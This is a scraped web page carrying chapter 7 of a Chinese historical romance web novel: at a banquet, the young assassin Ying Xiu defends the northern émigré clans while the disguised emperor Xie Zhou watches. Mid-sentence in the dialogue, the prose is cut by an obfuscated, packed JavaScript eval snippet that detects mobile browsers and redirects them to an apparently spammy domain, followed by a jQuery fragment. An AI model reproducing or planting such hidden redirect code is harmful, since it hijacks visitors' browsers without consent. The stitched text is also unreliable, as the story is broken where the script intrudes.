默认冷灰
24号文字
方正启体

7. 第 7 章

作者:坐定观星本书字数:K更新时间:
    寂阒。


    短暂的寂阒过后。


    王守真不动声色地举起耳杯,试探着开口:“阁下是谢氏哪一房的门客?”


    谢舟语气平静:“谢珪。”


    “咳,”王守真骤然被茶水呛到,赢秀连忙拍了拍他的背,关切道:“没事吧?”


    王守真缓了缓,低声道:“无碍。”


    谢珪,何许人也。


    当朝宰辅,皇帝国舅,有国之匡辅之名,居衮职,在会稽恃兵咨擅,出将入相,位极人臣。


    简单来说,就是与他父亲王道隗同辈的人,地位甚至还远远胜过王道隗。


    既是谢珪的门客,倨傲些也是理所当然,若是平易近人,反倒有鬼。


    赢秀听过谢珪这个名字,谢珪当年率领中原士庶与元熙帝南渡江左,举族匡扶南朝皇庭,威名赫赫。


    谢舟竟然是谢珪的门客?


    他还想着等鉴心当了琅琊王氏的主公,自己当了将军,说不定能将谢舟请来王家,到时候离开江州回广陵时能把谢舟一起捎走。


    现在看来,只怕没有他想得那么容易。


    赢秀眉眼间露出几分愁意,像一只没精打采的小狗。


    谢舟注意到了,问他:“你不高兴?”


    “对呀,不能把你一起捎走——”赢秀意识到自己说什么的时候已经晚了,谢舟看他的目光骤然变得幽深莫测,看不出是高兴还是不高兴。


    幸亏谢舟没问出那句——“你为什么想把我一起捎走?”


    赢秀不敢说话,心虚地低头当鹌鹑,竖着耳朵听着他们说话。


    谢舟既然是谢珪的门客,这意味他在僮客中属于比较厉害的那种,不过到底也是僮客,又不是主公。说不定到时候谢舟不想干了,又或者主公愿意放他走……


    还是有希望的!


    赢秀一个人不知想了什么,又高兴起来。


    像只小狗。


    将这一切收之眼底的谢舟如此想道。


    将大概的事宜谈妥后,约定好运河竣工后,漕运货殖由王谢两姓五五分成,正事便谈完了。


    王守真本想叫上赢秀一起走,却看见赢秀已经主动牵上谢舟的袖子,眼睛一眨不眨地望着对方,显然是要和谢舟一同回去。


    王守真:“……”


    怎么有种自家养的白菜迫不及待去拱……他抬眸看了一眼谢舟,将心里没说完的话咽了回去。


    平心而论,谢舟这幅样貌确实世无其二,锋利殊绝,冰冷俊美,只怕是寻遍整个京师秦淮河,也找不出第二个这样的美人。


    只是,他怎么觉得,这个谢舟好像只是把赢秀当做一个小玩意,觉得有趣,闲来逗一逗,并不放在心上。


    王守真指节轻叩案几,低声吩咐心腹道:“去查。”


    查什么自不必多说,尽管方才洽谈时谢舟说话温和有礼,井井有条,挑不出一丝破绽,何况建章谢氏权势滔天,谅其也不敢冒名顶替建章谢氏的门客。


    但是他就是不放心,面对谢舟时,对方那股隐隐的压迫感几乎压得他喘不上气,难以呼吸。


    夜里秋风萧瑟。


    赢秀牵着谢舟的袍裾沿着水廊往回走,两人都不说话。


    赢秀还在想如何把谢舟捎回广陵的事,想着想着偷偷摸摸地抬起眼,朦胧月光下看见谢舟的脸,看见他身后无边的风月,少年刺客的心怦怦直跳,有些怀疑自己喝醉了酒。


    ……分明在宴席上没有喝酒,为什么会醉呢?


    脸好烫,心跳得厉害,在对方发现之前,赢秀慌忙低下了头,没话找话:“是谢珪让你来江州放鹿的吗?”


    一个如此漂亮的门客,谢珪怎么舍得让他去放鹿?


    要是他是谢珪,他就让谢舟当他的小尾巴,整日跟着他走,心情不好了就看一眼谢舟,和他说几句话。


    谢舟道:“嗯。”


    他没说是或不是,仅仅是嗯了一声。


    赢秀觉得他有点敷衍,有心说他两句,一抬头又看见谢舟的脸,瞬间没话说了,亮晶晶的眸瞳睁得很大,好像想把谢舟一整个吃掉。


    “那我帮你一起喂鹿,”赢秀把话说出口,连忙又补上一句:“好不好?”


    谢舟这次答得很快,“好。”


    他的视线骤然顿住,凝在赢秀脸上,看着少年脸上的笑,冰冷淡漠的目光渐渐幽深。


    赢秀,赢秀……


    谢舟无声地咀嚼这个名字,原来笑也能杀人。


    一个刺客的笑,能让他留在这里做谢舟,心甘情愿地做一个普通门客,陪他玩过家家的游戏。


    赢秀不知道谢舟在想什么,他还在认真地规划着未来,等到江州事毕,要和鉴心一起回扬州广陵,再设法劝动谢舟一起走。


    前半段是他早就规划好的,后半段的计划里多了一个谢舟。


    沿着水廊走了一会儿,赢秀与谢舟回到席位上。


    环顾四面,眼看谢舟在中堂似乎没有席位,赢秀便拉着谢舟在身旁的空位坐下了。


    刚坐下没多久,赢秀便听见席间有南士大声抱怨:“江州的伧人还不够多么?又来了个江州别驾和那什么长公子,这些人自恃中原冠带,不过都是丧师失地之徒罢了!”


    吴姓士庶素来瞧不惯中原侨姓,平日也就私底下说说,前不久经历了吴姓的坞主和儒生双双横死之事,导致吴姓的世吏和文人对侨姓更加厌恶。


    恰好今日举办宴席的是出身江南吴姓的江州牧,席间本就心有怨言的南人抱怨起来便更加肆无忌惮。


    已经回到客席的王守真没有回应,安静地饮茶。


    本应在左席的江州牧不知去了何处,至于位于右席的江州别驾王誉,举着耳杯,不动声色地观察着王守真的面色。


    一时间竟无人阻止,也无人附和那名南士,席间各人自若地斟酒谈笑,竟是直接无视了南士的话。


    “倘若那群中原人真的那么有本事,当初也不会在羌人手里一败涂地,落得个丢弃长安京师,王师连夜南撤江左的下场!长江滔滔江水,渡不尽中原衣冠!”


    南士一口饮尽杯中酒,高声骂道,竟是越说越响亮,直到席间渐渐鸦默雀静,无数双眼睛盯着他看。


    那是南朝不愿提起的耻辱,如同一盏苦酒,从这个醉酒的南士口中尽数倾斜而出。


    满坐死寂。


    一声杯盏放下的轻响。


    王守真面色微沉,慢慢扫了那南士一眼。


    今夜之事传出去,会让琅琊王氏的长公子颜面扫地。


    烛火飘忽了一刹,少年儒生的衣帛带起风,赢秀来不及多想,腾地站起身,掷地有声:“建元元年,国相谢珪都督江北水军,于襄阳隔长江遥峙羌人,抵御羌族南下,迫退羌族三千舰船,以安江左。”


    “建元十年,流民将军瘐明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845719|175767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结垒寿春,铸犁为剑,募两千馀,率领两千流民邀兵荡寇,曾经一度夺回徐州衮州扬州三洲。”


    “永宁三年,十五岁的昭肃帝御驾出征,率两万五校尉北伐,攻入关中,大败五万羌人部曲,粮尽而归。”


    “亡官失守,故国神往之恨,是中原之恨。”赢秀字字清晰,句句响亮:“克复神州,光复中原之心,南朝人人有之。”


    此恨不关风月,人皆有之。


    那南士愣愣地看为侨姓出头的少年儒生,面色青白变换,犹豫着,慢慢举起金樽,敬了他一杯。


    王守真神色微松,暗自松了一口气,想起赢秀之前说读书的事,不由一笑。


    王誉则若有所思地盯着赢秀看了几眼,再看向王守真,旋即低头抿了一口酒。


    目光。


    四面有很多目光,像是许多琉璃灯同时照着他,照得他头晕目眩。


    没有恶意,但善于在黑暗中潜行的刺客从未体验过这种感觉。


    赢秀腾的坐了下来,先是呆了一会儿,随后猛的一转头,攥紧了谢舟的雪白袍裾。


    “谢舟谢舟,”紧张得脸色发红的少年拉着他的袖子,小心翼翼地问他:“我刚才没说什么胡话吧?”


    刚才为了不让鉴心颜面扫地,赢秀脑袋发直,来不及思索什么,蹭地站了起来,将书上看过的话理了理,不假思索地说了出来。


    说着说着,那些恨和心仿佛进入少年刺客的肺腑,浸得整颗心都饱胀发热。


    赢秀自小在山里长大,追着九尺高的爹爹跑,摸爬滚打跟着爹爹学了一点点武艺,十三岁前没有下过山,没有读过什么书,更没有上过学堂。


    即使给他拿张舆图,他也不知道中原具体在哪,襄阳在哪,寿春在哪,徐州衮州扬州三洲又在哪。


    即使说了这些话,他心里依旧是朦朦胧胧的,那些地方像是遮了一层纱,他怎么也看不真。


    书上那些故国神往的恨与情慢慢冷却了。


    谢舟的声音传进耳中,一如既往温凉平和的语气:“没有说胡话,方才你说得字字句句鞭辟入里,掷地有声。”


    少年没有再抓他的袖子了,低着头,松开手,皱巴巴的雪色袍裾垂落在地,闷闷的声音:


    “……什么是鞭辟入里?”


    谢舟哑然失笑。


    这厢,离席在外面寻找昭肃帝许久的江州牧匆匆来了,一眼扫过去看见昭肃帝一身雅正简袍,正坐在属于儒生的席位上。


    江州牧:“!!!”


    他怒气冲冲地用目光横扫僮客仆伇,你们不想活了!


    他迅速那边走了几步,撩起衣摆,正要跪下告罪,却看见昭肃帝侧首,轻轻看了他一眼。


    冰冷中带着警告,满是杀意。


    江州牧:“……”


    江洲牧二话不说转头就走,回到属于自己的左席,十分自然地换上一副笑容,和客席上的王守真寒暄起来。


    别驾的接风宴过后,江州府衙便开始轰轰烈烈地修运河,沅水堰口上的营户白丁昼夜不歇。


    日夜都能听见纤夫的呼号声,尖利嘶哑,呐喊不休。


    刺客这段时间没有任务,赢秀清闲得很,便一直跟在王守真身边,跟着他在堰口附近的堤坝上监工。


    听呼号排山倒海。


    看巨堰拔地而起。


    直到有人轰然倒下,轻飘飘的一声响。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)